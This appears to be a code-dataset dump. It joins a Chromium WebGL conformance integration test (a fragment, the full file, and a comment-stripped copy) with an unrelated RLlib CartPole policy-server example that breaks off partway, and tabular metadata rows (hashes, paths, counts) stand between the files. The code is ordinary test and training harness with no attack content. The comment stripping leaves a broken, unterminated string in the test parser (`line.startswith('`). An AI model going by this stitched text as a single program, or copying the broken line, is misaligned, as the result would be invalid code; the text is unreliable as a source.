extension_list_string = extension_list_string + extension + ", "
extension_list_string = extension_list_string + "]"
self.tab.action_runner.EvaluateJavaScript(
'checkSupportedExtensions({{ extensions_string }}, {{context_type}})',
extensions_string=extension_list_string,
context_type=context_type)
self._CheckTestCompletion()
def _RunExtensionTest(self, test_path, test_args):
self._NavigateTo(test_path, _GetExtensionHarnessScript())
self.tab.action_runner.WaitForJavaScriptCondition(
'window._loaded', timeout=self._GetTestTimeout())
context_type = "webgl2" if test_args.webgl_version == 2 else "webgl"
self.tab.action_runner.EvaluateJavaScript(
'checkExtension({{ extension }}, {{ context_type }})',
extension=test_args.extension,
context_type=context_type)
self._CheckTestCompletion()
def _GetTestTimeout(self):
timeout = 300
if self._is_asan:
# Asan runs much slower and needs a longer timeout
timeout *= 2
return timeout
@classmethod
def GenerateBrowserArgs(cls, additional_args):
"""Adds default arguments to |additional_args|.
See the parent class' method documentation for additional information.
"""
default_args = super(WebGLConformanceIntegrationTest,
cls).GenerateBrowserArgs(additional_args)
# --test-type=gpu is used only to suppress the "Google API Keys are missing"
# infobar, which causes flakiness in tests.
default_args.extend([
cba.AUTOPLAY_POLICY_NO_USER_GESTURE_REQUIRED,
cba.DISABLE_DOMAIN_BLOCKING_FOR_3D_APIS,
cba.DISABLE_GPU_PROCESS_CRASH_LIMIT,
cba.TEST_TYPE_GPU,
'--enable-webgl-draft-extensions',
# Try disabling the GPU watchdog to see if this affects the
# intermittent GPU process hangs that have been seen on the
# waterfall. crbug.com/596622 crbug.com/609252
'--disable-gpu-watchdog',
# TODO(http://crbug.com/832952): Remove this when WebXR spec is more
# stable and setCompatibleXRDevice is part of the conformance test.
'--disable-blink-features=WebXR',
# Force-enable SharedArrayBuffer to be able to test its
# support in WEBGL_multi_draw.
'--enable-blink-features=SharedArrayBuffer',
])
# Note that the overriding of the default --js-flags probably
# won't interact well with RestartBrowserIfNecessaryWithArgs, but
# we don't use that in this test.
browser_options = cls._finder_options.browser_options
builtin_js_flags = '--js-flags=--expose-gc'
found_js_flags = False
user_js_flags = ''
if browser_options.extra_browser_args:
for o in browser_options.extra_browser_args:
if o.startswith('--js-flags'):
found_js_flags = True
user_js_flags = o
break
if o.startswith('--use-gl='):
cls._gl_backend = o[len('--use-gl='):]
if o.startswith('--use-angle='):
cls._angle_backend = o[len('--use-angle='):]
if o.startswith('--use-cmd-decoder='):
cls._command_decoder = o[len('--use-cmd-decoder='):]
if found_js_flags:
logging.warning('Overriding built-in JavaScript flags:')
logging.warning(' Original flags: ' + builtin_js_flags)
logging.warning(' New flags: ' + user_js_flags)
else:
default_args.append(builtin_js_flags)
return default_args
@classmethod
def SetUpProcess(cls):
super(WebGLConformanceIntegrationTest, cls).SetUpProcess()
cls.CustomizeBrowserArgs([])
cls.StartBrowser()
# By setting multiple server directories, the root of the server
# implicitly becomes the common base directory, i.e., the Chromium
# src dir, and all URLs have to be specified relative to that.
cls.SetStaticServerDirs([
os.path.join(path_util.GetChromiumSrcDir(),
webgl_test_util.conformance_relpath),
os.path.join(path_util.GetChromiumSrcDir(),
webgl_test_util.extensions_relpath)
])
# Helper functions.
@staticmethod
def _DidWebGLTestSucceed(tab):
return tab.EvaluateJavaScript('webglTestHarness._allTestSucceeded')
@staticmethod
def _WebGLTestMessages(tab):
return tab.EvaluateJavaScript('webglTestHarness._messages')
@classmethod
def _ParseTests(cls, path, version, webgl2_only, folder_min_version):
def _ParseTestNameAndVersions(line):
"""Parses any min/max versions and the test name on the given line.
Args:
line: A string containing the line to be parsed.
Returns:
A tuple (test_name, min_version, max_version) containing the test name
and parsed minimum/maximum versions found as strings. Min/max values can
be None if no version was found.
"""
line_tokens = line.split(' ')
test_name = line_tokens[-1]
i = 0
min_version = None
max_version = None
while i < len(line_tokens):
token = line_tokens[i]
if token == '--min-version':
i += 1
min_version = line_tokens[i]
elif token == '--max-version':
i += 1
max_version = line_tokens[i]
i += 1
return test_name, min_version, max_version
test_paths = []
full_path = os.path.normpath(
os.path.join(webgl_test_util.conformance_path, path))
if not os.path.exists(full_path):
raise Exception('The WebGL conformance test path specified ' +
'does not exist: ' + full_path)
with open(full_path, 'r') as f:
for line in f:
line = line.strip()
if not line:
continue
if line.startswith('//') or line.startswith('#'):
continue
test_name, min_version, max_version = _ParseTestNameAndVersions(line)
min_version_to_compare = min_version or folder_min_version
if (min_version_to_compare
and _CompareVersion(version, min_version_to_compare) < 0):
continue
if max_version and _CompareVersion(version, max_version) > 0:
continue
if (webgl2_only and not '.txt' in test_name
and (not min_version_to_compare
or not min_version_to_compare.startswith('2'))):
continue
include_path = os.path.join(os.path.dirname(path), test_name)
if '.txt' in test_name:
# We only check min-version >= 2.0.0 for the top level list.
test_paths += cls._ParseTests(include_path, version, webgl2_only,
min_version_to_compare)
else:
test_paths.append(include_path)
return test_paths
@classmethod
def GetPlatformTags(cls, browser):
tags = super(WebGLConformanceIntegrationTest, cls).GetPlatformTags(browser)
tags.extend([['no-asan', 'asan'][cls._is_asan],
'webgl-version-%d' % cls._webgl_version])
if gpu_helper.EXPECTATIONS_DRIVER_TAGS:
system_info = browser.GetSystemInfo()
if system_info:
gpu_info = system_info.gpu
driver_vendor = gpu_helper.GetGpuDriverVendor(gpu_info)
driver_version = gpu_helper.GetGpuDriverVersion(gpu_info)
if driver_vendor and driver_version:
driver_vendor = driver_vendor.lower()
driver_version = driver_version.lower()
# Extract the string of vendor from 'angle (vendor)'
matcher = re.compile(r'^angle \(([a-z]+)\)$')
match = matcher.match(driver_vendor)
if match:
driver_vendor = match.group(1)
# Extract the substring before first space/dash/underscore
matcher = re.compile(r'^([a-z\d]+)([\s\-_]+[a-z\d]+)+$')
match = matcher.match(driver_vendor)
if match:
driver_vendor = match.group(1)
for tag in gpu_helper.EXPECTATIONS_DRIVER_TAGS:
match = gpu_helper.MatchDriverTag(tag)
assert match
if (driver_vendor == match.group(1)
and gpu_helper.EvaluateVersionComparison(
driver_version, match.group(2), match.group(3),
browser.platform.GetOSName(), driver_vendor)):
tags.append(tag)
return tags
@classmethod
def ExpectationsFiles(cls):
assert cls._webgl_version == 1 or cls._webgl_version == 2
if cls._webgl_version == 1:
file_name = 'webgl_conformance_expectations.txt'
else:
file_name = 'webgl2_conformance_expectations.txt'
return [
os.path.join(
os.path.dirname(os.path.abspath(__file__)), 'test_expectations',
file_name)
]
def _GetGPUInfoErrorString(gpu_info):
primary_gpu = gpu_info.devices[0]
error_str = 'primary gpu=' + primary_gpu.device_string
if gpu_info.aux_attributes:
gl_renderer = gpu_info.aux_attributes.get('gl_renderer')
if gl_renderer:
error_str += ', gl_renderer=' + gl_renderer
return error_str
def _GetExtensionHarnessScript():
return conformance_harness_script + extension_harness_additional_script
def load_tests(loader, tests, pattern):
del loader, tests, pattern # Unused.
return gpu_integration_test.LoadAllTestsInModule(sys.modules[__name__])
| 36.830986 | 80 | 0.663767 |
from __future__ import print_function
import logging
import os
import re
import sys
from gpu_tests import common_browser_args as cba
from gpu_tests import gpu_helper
from gpu_tests import gpu_integration_test
from gpu_tests import path_util
from gpu_tests import webgl_test_util
conformance_harness_script = r"""
var testHarness = {};
testHarness._allTestSucceeded = true;
testHarness._messages = '';
testHarness._failures = 0;
testHarness._finished = false;
testHarness._originalLog = window.console.log;
testHarness.log = function(msg) {
testHarness._messages += msg + "\n";
testHarness._originalLog.apply(window.console, [msg]);
}
testHarness.reportResults = function(url, success, msg) {
testHarness._allTestSucceeded = testHarness._allTestSucceeded && !!success;
if(!success) {
testHarness._failures++;
if(msg) {
testHarness.log(msg);
}
}
};
testHarness.notifyFinished = function(url) {
testHarness._finished = true;
};
testHarness.navigateToPage = function(src) {
var testFrame = document.getElementById("test-frame");
testFrame.src = src;
};
window.webglTestHarness = testHarness;
window.parent.webglTestHarness = testHarness;
window.console.log = testHarness.log;
window.onerror = function(message, url, line) {
testHarness.reportResults(null, false, message);
testHarness.notifyFinished(null);
};
window.quietMode = function() { return true; }
"""
extension_harness_additional_script = r"""
window.onload = function() { window._loaded = true; }
"""
if sys.version_info[0] == 3:
def cmp(a, b):
return int(a > b) - int(a < b)
def _CompareVersion(version1, version2):
ver_num1 = [int(x) for x in version1.split('.')]
ver_num2 = [int(x) for x in version2.split('.')]
size = min(len(ver_num1), len(ver_num2))
return cmp(ver_num1[0:size], ver_num2[0:size])
class WebGLTestArgs(object):
def __init__(self, webgl_version=None, extension=None, extension_list=None):
self.webgl_version = webgl_version
self.extension = extension
self.extension_list = extension_list
class WebGLConformanceIntegrationTest(gpu_integration_test.GpuIntegrationTest):
_webgl_version = None
_is_asan = False
_crash_count = 0
_gl_backend = ""
_angle_backend = ""
_command_decoder = ""
_verified_flags = False
@classmethod
def Name(cls):
return 'webgl_conformance'
@classmethod
def AddCommandlineArgs(cls, parser):
super(WebGLConformanceIntegrationTest, cls).AddCommandlineArgs(parser)
parser.add_option(
'--webgl-conformance-version',
help='Version of the WebGL conformance tests to run.',
default='1.0.4')
parser.add_option(
'--webgl2-only',
help='Whether we include webgl 1 tests if version is 2.0.0 or above.',
default='false')
parser.add_option(
'--is-asan',
help='Indicates whether currently running an ASAN build',
action='store_true',
default=False)
@classmethod
def GenerateGpuTests(cls, options):
test_paths = cls._ParseTests('00_test_list.txt',
options.webgl_conformance_version,
(options.webgl2_only == 'true'), None)
cls._webgl_version = [
int(x) for x in options.webgl_conformance_version.split('.')
][0]
cls._is_asan = options.is_asan
for test_path in test_paths:
test_path_with_args = test_path
if cls._webgl_version > 1:
test_path_with_args += '?webglVersion=' + str(cls._webgl_version)
yield (test_path.replace(os.path.sep, '/'),
os.path.join(webgl_test_util.conformance_relpath,
test_path_with_args), ('_RunConformanceTest',
WebGLTestArgs()))
extension_tests = cls._GetExtensionList()
yield ('WebglExtension_TestCoverage',
os.path.join(webgl_test_util.extensions_relpath,
'webgl_extension_test.html'),
('_RunExtensionCoverageTest',
WebGLTestArgs(webgl_version=cls._webgl_version,
extension_list=extension_tests)))
for extension in extension_tests:
yield ('WebglExtension_%s' % extension,
os.path.join(webgl_test_util.extensions_relpath,
'webgl_extension_test.html'),
('_RunExtensionTest',
WebGLTestArgs(webgl_version=cls._webgl_version,
extension=extension)))
@classmethod
def _GetExtensionList(cls):
if cls._webgl_version == 1:
return [
'ANGLE_instanced_arrays',
'EXT_blend_minmax',
'EXT_color_buffer_half_float',
'EXT_disjoint_timer_query',
'EXT_float_blend',
'EXT_frag_depth',
'EXT_shader_texture_lod',
'EXT_sRGB',
'EXT_texture_compression_bptc',
'EXT_texture_compression_rgtc',
'EXT_texture_filter_anisotropic',
'KHR_parallel_shader_compile',
'OES_element_index_uint',
'OES_fbo_render_mipmap',
'OES_standard_derivatives',
'OES_texture_float',
'OES_texture_float_linear',
'OES_texture_half_float',
'OES_texture_half_float_linear',
'OES_vertex_array_object',
'WEBGL_color_buffer_float',
'WEBGL_compressed_texture_astc',
'WEBGL_compressed_texture_etc',
'WEBGL_compressed_texture_etc1',
'WEBGL_compressed_texture_pvrtc',
'WEBGL_compressed_texture_s3tc',
'WEBGL_compressed_texture_s3tc_srgb',
'WEBGL_debug_renderer_info',
'WEBGL_debug_shaders',
'WEBGL_depth_texture',
'WEBGL_draw_buffers',
'WEBGL_lose_context',
'WEBGL_multi_draw',
'WEBGL_video_texture',
'WEBGL_webcodecs_video_frame',
]
else:
return [
'EXT_color_buffer_float',
'EXT_color_buffer_half_float',
'EXT_disjoint_timer_query_webgl2',
'EXT_float_blend',
'EXT_texture_compression_bptc',
'EXT_texture_compression_rgtc',
'EXT_texture_filter_anisotropic',
'EXT_texture_norm16',
'KHR_parallel_shader_compile',
'OES_draw_buffers_indexed',
'OES_texture_float_linear',
'OVR_multiview2',
'WEBGL_compressed_texture_astc',
'WEBGL_compressed_texture_etc',
'WEBGL_compressed_texture_etc1',
'WEBGL_compressed_texture_pvrtc',
'WEBGL_compressed_texture_s3tc',
'WEBGL_compressed_texture_s3tc_srgb',
'WEBGL_debug_renderer_info',
'WEBGL_debug_shaders',
'WEBGL_draw_instanced_base_vertex_base_instance',
'WEBGL_lose_context',
'WEBGL_multi_draw',
'WEBGL_multi_draw_instanced_base_vertex_base_instance',
'WEBGL_video_texture',
'WEBGL_webcodecs_video_frame',
]
def RunActualGpuTest(self, test_path, *args):
assert len(args) == 2
test_name = args[0]
test_args = args[1]
getattr(self, test_name)(test_path, test_args)
def _VerifyGLBackend(self, gpu_info):
if self._gl_backend:
if (self._gl_backend == 'angle'
and gpu_helper.GetANGLERenderer(gpu_info) == 'angle-disabled'):
self.fail('requested GL backend (' + self._gl_backend + ')' +
' had no effect on the browser: ' +
_GetGPUInfoErrorString(gpu_info))
return False
return True
def _VerifyANGLEBackend(self, gpu_info):
if self._angle_backend:
# GPU exepections use slightly different names for the angle backends
# than the Chrome flags
known_backend_flag_map = {
'angle-d3d11': ['d3d11'],
'angle-d3d9': ['d3d9'],
'angle-opengl': ['gl'],
'angle-opengles': ['gles'],
'angle-metal': ['metal'],
'angle-vulkan': ['vulkan'],
# Support setting VK_ICD_FILENAMES for swiftshader when requesting
# the 'vulkan' backend.
'angle-swiftshader': ['swiftshader', 'vulkan'],
}
current_angle_backend = gpu_helper.GetANGLERenderer(gpu_info)
if (current_angle_backend not in known_backend_flag_map or
self._angle_backend not in \
known_backend_flag_map[current_angle_backend]):
self.fail('requested ANGLE backend (' + self._angle_backend + ')' +
' had no effect on the browser: ' +
_GetGPUInfoErrorString(gpu_info))
return False
return True
def _VerifyCommandDecoder(self, gpu_info):
if self._command_decoder:
# GPU exepections use slightly different names for the command decoders
# than the Chrome flags
known_command_decoder_flag_map = {
'passthrough': 'passthrough',
'no_passthrough': 'validating',
}
current_command_decoder = gpu_helper.GetCommandDecoder(gpu_info)
if (current_command_decoder not in known_command_decoder_flag_map or
known_command_decoder_flag_map[current_command_decoder] != \
self._command_decoder):
self.fail('requested command decoder (' + self._command_decoder + ')' +
' had no effect on the browser: ' +
_GetGPUInfoErrorString(gpu_info))
return False
return True
def _NavigateTo(self, test_path, harness_script):
gpu_info = self.browser.GetSystemInfo().gpu
self._crash_count = gpu_info.aux_attributes['process_crash_count']
if not self._verified_flags:
# If the user specified any flags for ANGLE or the command decoder,
# verify that the browser is actually using the requested configuration
if (self._VerifyGLBackend(gpu_info) and self._VerifyANGLEBackend(gpu_info)
and self._VerifyCommandDecoder(gpu_info)):
self._verified_flags = True
url = self.UrlOfStaticFilePath(test_path)
self.tab.Navigate(url, script_to_evaluate_on_commit=harness_script)
def _CheckTestCompletion(self):
self.tab.action_runner.WaitForJavaScriptCondition(
'webglTestHarness._finished', timeout=self._GetTestTimeout())
if self._crash_count != self.browser.GetSystemInfo().gpu \
.aux_attributes['process_crash_count']:
self.fail('GPU process crashed during test.\n' +
self._WebGLTestMessages(self.tab))
elif not self._DidWebGLTestSucceed(self.tab):
self.fail(self._WebGLTestMessages(self.tab))
def _RunConformanceTest(self, test_path, _):
self._NavigateTo(test_path, conformance_harness_script)
self._CheckTestCompletion()
def _RunExtensionCoverageTest(self, test_path, test_args):
self._NavigateTo(test_path, _GetExtensionHarnessScript())
self.tab.action_runner.WaitForJavaScriptCondition(
'window._loaded', timeout=self._GetTestTimeout())
context_type = "webgl2" if test_args.webgl_version == 2 else "webgl"
extension_list_string = "["
for extension in test_args.extension_list:
extension_list_string = extension_list_string + extension + ", "
extension_list_string = extension_list_string + "]"
self.tab.action_runner.EvaluateJavaScript(
'checkSupportedExtensions({{ extensions_string }}, {{context_type}})',
extensions_string=extension_list_string,
context_type=context_type)
self._CheckTestCompletion()
def _RunExtensionTest(self, test_path, test_args):
self._NavigateTo(test_path, _GetExtensionHarnessScript())
self.tab.action_runner.WaitForJavaScriptCondition(
'window._loaded', timeout=self._GetTestTimeout())
context_type = "webgl2" if test_args.webgl_version == 2 else "webgl"
self.tab.action_runner.EvaluateJavaScript(
'checkExtension({{ extension }}, {{ context_type }})',
extension=test_args.extension,
context_type=context_type)
self._CheckTestCompletion()
def _GetTestTimeout(self):
timeout = 300
if self._is_asan:
# Asan runs much slower and needs a longer timeout
timeout *= 2
return timeout
@classmethod
def GenerateBrowserArgs(cls, additional_args):
default_args = super(WebGLConformanceIntegrationTest,
cls).GenerateBrowserArgs(additional_args)
# --test-type=gpu is used only to suppress the "Google API Keys are missing"
# infobar, which causes flakiness in tests.
default_args.extend([
cba.AUTOPLAY_POLICY_NO_USER_GESTURE_REQUIRED,
cba.DISABLE_DOMAIN_BLOCKING_FOR_3D_APIS,
cba.DISABLE_GPU_PROCESS_CRASH_LIMIT,
cba.TEST_TYPE_GPU,
'--enable-webgl-draft-extensions',
# Try disabling the GPU watchdog to see if this affects the
# intermittent GPU process hangs that have been seen on the
# waterfall. crbug.com/596622 crbug.com/609252
'--disable-gpu-watchdog',
# TODO(http://crbug.com/832952): Remove this when WebXR spec is more
# stable and setCompatibleXRDevice is part of the conformance test.
'--disable-blink-features=WebXR',
# Force-enable SharedArrayBuffer to be able to test its
# support in WEBGL_multi_draw.
'--enable-blink-features=SharedArrayBuffer',
])
# Note that the overriding of the default --js-flags probably
# won't interact well with RestartBrowserIfNecessaryWithArgs, but
browser_options = cls._finder_options.browser_options
builtin_js_flags = '--js-flags=--expose-gc'
found_js_flags = False
user_js_flags = ''
if browser_options.extra_browser_args:
for o in browser_options.extra_browser_args:
if o.startswith('--js-flags'):
found_js_flags = True
user_js_flags = o
break
if o.startswith('--use-gl='):
cls._gl_backend = o[len('--use-gl='):]
if o.startswith('--use-angle='):
cls._angle_backend = o[len('--use-angle='):]
if o.startswith('--use-cmd-decoder='):
cls._command_decoder = o[len('--use-cmd-decoder='):]
if found_js_flags:
logging.warning('Overriding built-in JavaScript flags:')
logging.warning(' Original flags: ' + builtin_js_flags)
logging.warning(' New flags: ' + user_js_flags)
else:
default_args.append(builtin_js_flags)
return default_args
@classmethod
def SetUpProcess(cls):
super(WebGLConformanceIntegrationTest, cls).SetUpProcess()
cls.CustomizeBrowserArgs([])
cls.StartBrowser()
# By setting multiple server directories, the root of the server
# implicitly becomes the common base directory, i.e., the Chromium
# src dir, and all URLs have to be specified relative to that.
cls.SetStaticServerDirs([
os.path.join(path_util.GetChromiumSrcDir(),
webgl_test_util.conformance_relpath),
os.path.join(path_util.GetChromiumSrcDir(),
webgl_test_util.extensions_relpath)
])
# Helper functions.
@staticmethod
def _DidWebGLTestSucceed(tab):
return tab.EvaluateJavaScript('webglTestHarness._allTestSucceeded')
@staticmethod
def _WebGLTestMessages(tab):
return tab.EvaluateJavaScript('webglTestHarness._messages')
@classmethod
def _ParseTests(cls, path, version, webgl2_only, folder_min_version):
def _ParseTestNameAndVersions(line):
line_tokens = line.split(' ')
test_name = line_tokens[-1]
i = 0
min_version = None
max_version = None
while i < len(line_tokens):
token = line_tokens[i]
if token == '--min-version':
i += 1
min_version = line_tokens[i]
elif token == '--max-version':
i += 1
max_version = line_tokens[i]
i += 1
return test_name, min_version, max_version
test_paths = []
full_path = os.path.normpath(
os.path.join(webgl_test_util.conformance_path, path))
if not os.path.exists(full_path):
raise Exception('The WebGL conformance test path specified ' +
'does not exist: ' + full_path)
with open(full_path, 'r') as f:
for line in f:
line = line.strip()
if not line:
continue
if line.startswith('//') or line.startswith('
continue
test_name, min_version, max_version = _ParseTestNameAndVersions(line)
min_version_to_compare = min_version or folder_min_version
if (min_version_to_compare
and _CompareVersion(version, min_version_to_compare) < 0):
continue
if max_version and _CompareVersion(version, max_version) > 0:
continue
if (webgl2_only and not '.txt' in test_name
and (not min_version_to_compare
or not min_version_to_compare.startswith('2'))):
continue
include_path = os.path.join(os.path.dirname(path), test_name)
if '.txt' in test_name:
# We only check min-version >= 2.0.0 for the top level list.
test_paths += cls._ParseTests(include_path, version, webgl2_only,
min_version_to_compare)
else:
test_paths.append(include_path)
return test_paths
@classmethod
def GetPlatformTags(cls, browser):
tags = super(WebGLConformanceIntegrationTest, cls).GetPlatformTags(browser)
tags.extend([['no-asan', 'asan'][cls._is_asan],
'webgl-version-%d' % cls._webgl_version])
if gpu_helper.EXPECTATIONS_DRIVER_TAGS:
system_info = browser.GetSystemInfo()
if system_info:
gpu_info = system_info.gpu
driver_vendor = gpu_helper.GetGpuDriverVendor(gpu_info)
driver_version = gpu_helper.GetGpuDriverVersion(gpu_info)
if driver_vendor and driver_version:
driver_vendor = driver_vendor.lower()
driver_version = driver_version.lower()
# Extract the string of vendor from 'angle (vendor)'
matcher = re.compile(r'^angle \(([a-z]+)\)$')
match = matcher.match(driver_vendor)
if match:
driver_vendor = match.group(1)
# Extract the substring before first space/dash/underscore
matcher = re.compile(r'^([a-z\d]+)([\s\-_]+[a-z\d]+)+$')
match = matcher.match(driver_vendor)
if match:
driver_vendor = match.group(1)
for tag in gpu_helper.EXPECTATIONS_DRIVER_TAGS:
match = gpu_helper.MatchDriverTag(tag)
assert match
if (driver_vendor == match.group(1)
and gpu_helper.EvaluateVersionComparison(
driver_version, match.group(2), match.group(3),
browser.platform.GetOSName(), driver_vendor)):
tags.append(tag)
return tags
@classmethod
def ExpectationsFiles(cls):
assert cls._webgl_version == 1 or cls._webgl_version == 2
if cls._webgl_version == 1:
file_name = 'webgl_conformance_expectations.txt'
else:
file_name = 'webgl2_conformance_expectations.txt'
return [
os.path.join(
os.path.dirname(os.path.abspath(__file__)), 'test_expectations',
file_name)
]
def _GetGPUInfoErrorString(gpu_info):
primary_gpu = gpu_info.devices[0]
error_str = 'primary gpu=' + primary_gpu.device_string
if gpu_info.aux_attributes:
gl_renderer = gpu_info.aux_attributes.get('gl_renderer')
if gl_renderer:
error_str += ', gl_renderer=' + gl_renderer
return error_str
def _GetExtensionHarnessScript():
return conformance_harness_script + extension_harness_additional_script
def load_tests(loader, tests, pattern):
del loader, tests, pattern # Unused.
return gpu_integration_test.LoadAllTestsInModule(sys.modules[__name__])
| true | true |
f7f38644c50cf9d3fe8225cfecb7982366ecd8e9 | 7,986 | py | Python | rllib/examples/serving/cartpole_server.py | linyiyue/ray | 90d2456ec70270a1f894ec3ef6f3004533859e03 | [
"Apache-2.0"
] | 21,382 | 2016-09-26T23:12:52.000Z | 2022-03-31T21:47:45.000Z | rllib/examples/serving/cartpole_server.py | linyiyue/ray | 90d2456ec70270a1f894ec3ef6f3004533859e03 | [
"Apache-2.0"
] | 19,689 | 2016-09-17T08:21:25.000Z | 2022-03-31T23:59:30.000Z | rllib/examples/serving/cartpole_server.py | gramhagen/ray | c18caa4db36d466718bdbcb2229aa0b2dc03da1f | [
"Apache-2.0"
] | 4,114 | 2016-09-23T18:54:01.000Z | 2022-03-31T15:07:32.000Z | #!/usr/bin/env python
"""
Example of running an RLlib policy server, allowing connections from
external environment running clients. The server listens on
(a simple CartPole env
in this case) against an RLlib policy server listening on one or more
HTTP-speaking ports. See `cartpole_client.py` in this same directory for how
to start any number of clients (after this server has been started).
This script will not create any actual env to illustrate that RLlib can
run w/o needing an internalized environment.
Setup:
1) Start this server:
$ python cartpole_server.py --num-workers --[other options]
Use --help for help.
2) Run n policy clients:
See `cartpole_client.py` on how to do this.
The `num-workers` setting will allow you to distribute the incoming feed over n
listen sockets (in this example, between 9900 and 990n with n=worker_idx-1).
You may connect more than one policy client to any open listen port.
"""
import argparse
import gym
import os
import ray
from ray import tune
from ray.rllib.agents.dqn import DQNTrainer
from ray.rllib.agents.ppo import PPOTrainer
from ray.rllib.env.policy_server_input import PolicyServerInput
from ray.rllib.examples.custom_metrics_and_callbacks import MyCallbacks
from ray.tune.logger import pretty_print
SERVER_ADDRESS = "localhost"
# In this example, the user can run the policy server with
# n workers, opening up listen ports 9900 - 990n (n = num_workers - 1)
# to each of which different clients may connect.
SERVER_BASE_PORT = 9900 # + worker-idx - 1
CHECKPOINT_FILE = "last_checkpoint_{}.out"
def get_cli_args():
"""Create CLI parser and return parsed arguments"""
parser = argparse.ArgumentParser()
# Example-specific args.
parser.add_argument(
"--port",
type=int,
default=SERVER_BASE_PORT,
help="The base-port to use (on localhost). "
f"Default is {SERVER_BASE_PORT}.")
parser.add_argument(
"--callbacks-verbose",
action="store_true",
help="Activates info-messages for different events on "
"server/client (episode steps, postprocessing, etc..).")
parser.add_argument(
"--num-workers",
type=int,
default=2,
help="The number of workers to use. Each worker will create "
"its own listening socket for incoming experiences.")
parser.add_argument(
"--no-restore",
action="store_true",
help="Do not restore from a previously saved checkpoint (location of "
"which is saved in `last_checkpoint_[algo-name].out`).")
# General args.
parser.add_argument(
"--run",
default="PPO",
choices=["DQN", "PPO"],
help="The RLlib-registered algorithm to use.")
parser.add_argument("--num-cpus", type=int, default=3)
parser.add_argument(
"--framework",
choices=["tf", "tf2", "tfe", "torch"],
default="tf",
help="The DL framework specifier.")
parser.add_argument(
"--stop-iters",
type=int,
default=200,
help="Number of iterations to train.")
parser.add_argument(
"--stop-timesteps",
type=int,
default=500000,
help="Number of timesteps to train.")
parser.add_argument(
"--stop-reward",
type=float,
default=80.0,
help="Reward at which we stop training.")
parser.add_argument(
"--as-test",
action="store_true",
help="Whether this script should be run as a test: --stop-reward must "
"be achieved within --stop-timesteps AND --stop-iters.")
parser.add_argument(
"--no-tune",
action="store_true",
help="Run without Tune using a manual train loop instead. Here,"
"there is no TensorBoard support.")
parser.add_argument(
"--local-mode",
action="store_true",
help="Init Ray in local mode for easier debugging.")
args = parser.parse_args()
print(f"Running with following CLI args: {args}")
return args
if __name__ == "__main__":
args = get_cli_args()
ray.init()
# `InputReader` generator (returns None if no input reader is needed on
# the respective worker).
def _input(ioctx):
# We are remote worker or we are local worker with num_workers=0:
# Create a PolicyServerInput.
if ioctx.worker_index > 0 or ioctx.worker.num_workers == 0:
return PolicyServerInput(
ioctx, SERVER_ADDRESS, args.port + ioctx.worker_index -
(1 if ioctx.worker_index > 0 else 0))
# No InputReader (PolicyServerInput) needed.
else:
return None
# Trainer config. Note that this config is sent to the client only in case
# the client needs to create its own policy copy for local inference.
config = {
# Indicate that the Trainer we setup here doesn't need an actual env.
# Allow spaces to be determined by user (see below).
"env": None,
# TODO: (sven) make these settings unnecessary and get the information
# about the env spaces from the client.
"observation_space": gym.spaces.Box(
float("-inf"), float("inf"), (4, )),
"action_space": gym.spaces.Discrete(2),
# Use the `PolicyServerInput` to generate experiences.
"input": _input,
# Use n worker processes to listen on different ports.
"num_workers": args.num_workers,
# Disable OPE, since the rollouts are coming from online clients.
"input_evaluation": [],
# Create a "chatty" client/server or not.
"callbacks": MyCallbacks if args.callbacks_verbose else None,
# DL framework to use.
"framework": args.framework,
# Set to INFO so we'll see the server's actual address:port.
"log_level": "INFO",
}
# DQN.
if args.run == "DQN":
# Example of using DQN (supports off-policy actions).
config.update({
"learning_starts": 100,
"timesteps_per_iteration": 200,
"n_step": 3,
})
config["model"] = {
"fcnet_hiddens": [64],
"fcnet_activation": "linear",
}
# PPO.
else:
# Example of using PPO (does NOT support off-policy actions).
config.update({
"rollout_fragment_length": 1000,
"train_batch_size": 4000,
})
checkpoint_path = CHECKPOINT_FILE.format(args.run)
# Attempt to restore from checkpoint, if possible.
if not args.no_restore and os.path.exists(checkpoint_path):
checkpoint_path = open(checkpoint_path).read()
else:
checkpoint_path = None
# Manual training loop (no Ray tune).
if args.no_tune:
if args.run == "DQN":
trainer = DQNTrainer(config=config)
else:
trainer = PPOTrainer(config=config)
if checkpoint_path:
print("Restoring from checkpoint path", checkpoint_path)
trainer.restore(checkpoint_path)
# Serving and training loop.
ts = 0
for _ in range(args.stop_iters):
results = trainer.train()
print(pretty_print(results))
checkpoint = trainer.save()
print("Last checkpoint", checkpoint)
with open(checkpoint_path, "w") as f:
f.write(checkpoint)
if results["episode_reward_mean"] >= args.stop_reward or \
ts >= args.stop_timesteps:
break
ts += results["timesteps_total"]
# Run with Tune for auto env and trainer creation and TensorBoard.
else:
stop = {
"training_iteration": args.stop_iters,
"timesteps_total": args.stop_timesteps,
"episode_reward_mean": args.stop_reward,
}
tune.run(
args.run,
config=config,
stop=stop,
verbose=2,
restore=checkpoint_path)
| 34.422414 | 79 | 0.628475 |
import argparse
import gym
import os
import ray
from ray import tune
from ray.rllib.agents.dqn import DQNTrainer
from ray.rllib.agents.ppo import PPOTrainer
from ray.rllib.env.policy_server_input import PolicyServerInput
from ray.rllib.examples.custom_metrics_and_callbacks import MyCallbacks
from ray.tune.logger import pretty_print
SERVER_ADDRESS = "localhost"
SERVER_BASE_PORT = 9900
CHECKPOINT_FILE = "last_checkpoint_{}.out"
def get_cli_args():
parser = argparse.ArgumentParser()
parser.add_argument(
"--port",
type=int,
default=SERVER_BASE_PORT,
help="The base-port to use (on localhost). "
f"Default is {SERVER_BASE_PORT}.")
parser.add_argument(
"--callbacks-verbose",
action="store_true",
help="Activates info-messages for different events on "
"server/client (episode steps, postprocessing, etc..).")
parser.add_argument(
"--num-workers",
type=int,
default=2,
help="The number of workers to use. Each worker will create "
"its own listening socket for incoming experiences.")
parser.add_argument(
"--no-restore",
action="store_true",
help="Do not restore from a previously saved checkpoint (location of "
"which is saved in `last_checkpoint_[algo-name].out`).")
parser.add_argument(
"--run",
default="PPO",
choices=["DQN", "PPO"],
help="The RLlib-registered algorithm to use.")
parser.add_argument("--num-cpus", type=int, default=3)
parser.add_argument(
"--framework",
choices=["tf", "tf2", "tfe", "torch"],
default="tf",
help="The DL framework specifier.")
parser.add_argument(
"--stop-iters",
type=int,
default=200,
help="Number of iterations to train.")
parser.add_argument(
"--stop-timesteps",
type=int,
default=500000,
help="Number of timesteps to train.")
parser.add_argument(
"--stop-reward",
type=float,
default=80.0,
help="Reward at which we stop training.")
parser.add_argument(
"--as-test",
action="store_true",
help="Whether this script should be run as a test: --stop-reward must "
"be achieved within --stop-timesteps AND --stop-iters.")
parser.add_argument(
"--no-tune",
action="store_true",
help="Run without Tune using a manual train loop instead. Here,"
